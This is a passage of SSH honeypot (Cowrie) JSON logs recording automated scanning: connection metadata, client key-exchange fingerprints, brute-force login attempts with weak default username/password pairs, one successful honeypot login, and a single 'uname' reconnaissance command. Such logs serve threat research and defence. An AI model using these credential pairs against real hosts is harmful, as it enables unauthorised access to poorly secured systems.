a2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:19.341451Z","src_ip":"91.92.40.36","session":"be497d74b198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":33286,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a7b6fbc878a","protocol":"ssh","message":"New connection: 73.36.177.174:33286 (10.17.0.5:22) [session: 9a7b6fbc878a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:22.153612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:22.160430Z","src_ip":"73.36.177.174","session":"9a7b6fbc878a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:22.205760Z","src_ip":"73.36.177.174","session":"9a7b6fbc878a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jhlee","password":"1234","message":"login attempt [jhlee/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:22.411916Z","src_ip":"73.36.177.174","session":"9a7b6fbc878a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:23.467959Z","src_ip":"73.36.177.174","session":"9a7b6fbc878a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":31310,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d817a55ec6e","protocol":"ssh","message":"New connection: 150.136.214.177:31310 (10.17.0.5:22) [session: 7d817a55ec6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:24.150276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:24.155498Z","src_ip":"150.136.214.177","session":"7d817a55ec6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:24.182387Z","src_ip":"150.136.214.177","session":"7d817a55ec6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55526,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d2b227487cf","protocol":"ssh","message":"New connection: 91.92.40.36:55526 (10.17.0.5:22) [session: 7d2b227487cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:24.291992Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ@WSX","message":"login attempt [root/1QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:24.321862Z","src_ip":"150.136.214.177","session":"7d817a55ec6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"alpha","message":"login attempt [alpha/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:25.319493Z","src_ip":"91.92.40.36","session":"be497d74b198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:25.350338Z","src_ip":"150.136.214.177","session":"7d817a55ec6e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:25.918315Z","src_ip":"91.92.40.36","session":"7d2b227487cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:25.926880Z","src_ip":"91.92.40.36","session":"7d2b227487cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:28.427000Z","src_ip":"91.92.40.36","session":"be497d74b198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.49202704429626,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:33.219114Z","src_ip":"128.199.8.54","session":"7e36ebf54b9e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:33.917910Z","src_ip":"91.92.40.36","session":"7d2b227487cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24710,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdb6aacfd9d3","protocol":"ssh","message":"New connection: 91.92.40.36:24710 (10.17.0.5:22) [session: cdb6aacfd9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:34.594698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:35.201713Z","src_ip":"91.92.40.36","session":"cdb6aacfd9d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:35.205137Z","src_ip":"91.92.40.36","session":"cdb6aacfd9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:35.588797Z","src_ip":"91.92.40.36","session":"7d2b227487cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:38.685978Z","src_ip":"91.92.40.36","session":"cdb6aacfd9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:40.133576Z","src_ip":"91.92.40.36","session":"cdb6aacfd9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51768,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4439df23a2","protocol":"ssh","message":"New connection: 91.92.40.36:51768 (10.17.0.5:22) [session: 3c4439df23a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:42.691993Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":51850,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8b345a04012","protocol":"ssh","message":"New connection: 27.71.230.31:51850 (10.17.0.5:22) [session: d8b345a04012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:42.738929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:42.745178Z","src_ip":"27.71.230.31","session":"d8b345a04012","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:43.054353Z","src_ip":"91.92.40.36","session":"3c4439df23a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:43.057711Z","src_ip":"91.92.40.36","session":"3c4439df23a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:43.139395Z","src_ip":"27.71.230.31","session":"d8b345a04012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":57828,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25ae768324c","protocol":"ssh","message":"New connection: 103.172.78.219:57828 (159.203.135.109:22) [session: c25ae768324c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:43.978641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:43.985243Z","src_ip":"103.172.78.219","session":"c25ae768324c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:44.242265Z","src_ip":"103.172.78.219","session":"c25ae768324c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:44.332050Z","src_ip":"91.92.40.36","session":"3c4439df23a2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:44.722292Z","src_ip":"91.92.40.36","session":"3c4439df23a2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:44.725324Z","src_ip":"91.92.40.36","session":"3c4439df23a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:44.831183Z","src_ip":"91.92.40.36","session":"3c4439df23a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:44.836921Z","src_ip":"91.92.40.36","session":"3c4439df23a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"251019","message":"login attempt [root/251019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:45.013329Z","src_ip":"103.172.78.219","session":"c25ae768324c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword@1234","message":"login attempt [root/newpassword@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:45.524492Z","src_ip":"27.71.230.31","session":"d8b345a04012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:46.272581Z","src_ip":"103.172.78.219","session":"c25ae768324c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:46.859419Z","src_ip":"27.71.230.31","session":"d8b345a04012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":39310,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa67ffc34a0f","protocol":"ssh","message":"New connection: 97.74.87.152:39310 (159.203.135.109:22) [session: fa67ffc34a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:50.433377Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20476,"dst_ip":"10.17.0.5","dst_port":22,"session":"e218b0d7f0a6","protocol":"ssh","message":"New connection: 91.92.40.36:20476 (10.17.0.5:22) [session: e218b0d7f0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:50.438144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:50.443277Z","src_ip":"97.74.87.152","session":"fa67ffc34a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 